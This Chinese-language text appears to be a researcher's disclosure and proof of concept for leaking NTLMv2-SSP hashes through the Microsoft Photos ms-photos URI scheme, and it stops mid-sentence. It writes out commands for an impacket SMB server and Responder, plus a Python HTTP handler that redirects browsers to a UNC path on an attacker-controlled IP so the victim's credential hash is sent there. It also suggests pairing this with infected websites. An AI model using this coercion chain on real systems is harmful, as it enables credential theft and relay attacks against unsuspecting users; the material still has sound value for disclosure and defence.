Microsoft ms-photos URI 方案将 fileName 作为参数,该参数可以提交带有 UNC 路径,在打开时泄露 NTLMv2-SSP 哈希。通过构造一个特殊格式的链接,攻击者可以强迫受害者直接从浏览器启动 Microsoft Photos 应用。当触发时,此行为会导致受害者的 NTLMv2-SSP 哈希泄露到攻击者控制的服务器。该问题使得企业环境中的凭据暴露和潜在的中继攻击成为可能,仅需最小的用户交互(打开应用)。Microsoft 未承认该漏洞,也未发布 CVE。此外,我的灵感来源于 2022 年的 Syss 博客。
由于 NTLMv2-SSP 挑战可以被泄露到面向公网的 UNC 路径(除非设置了出站 SMB/445 防火墙规则),该漏洞可以与网站感染相结合,导致供应链攻击。
从关于 URI 方案的 MSDN 文档 中,我们可以找到以下内容:
打开 SMB 服务器
# With a picture: Opens the photo on the target with photos.exe
# Without a picture: Nothing, no photos.exe process window
impacket-smbserver share . -smb2support
启动恶意 Python 服务器
# Edit first the information about the IP, share, and filename for UNC coercing.
python3 ms-photos-server.py
浏览到该位置
打开 Chrome 并导航到 /test

此外,也可以使用 responder。任何发出 LLMNR 请求的未解析域名将被重定向到该脚本,从而可以强制任何用户,而不会弹出 NTLM 用户/密码认证窗口。 要使其工作,先运行脚本,然后运行 responder。

它之所以有效,是因为我们的应用程序直接重定向到 ms-photos URI 方案,其中包含我们服务器的 UNC 路径:
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == "/":
self.send_response(302) # HTTP 302 Found (temporary redirect)
self.send_header('Location', 'ms-photos:viewer?fileName=\\\\192.168.159.129\\share\\Capture.png')
self.end_headers()
else:
self.send_response(404)
self.end_headers()
self.wfile.write(b"Not Found")
来自客户端的重定向: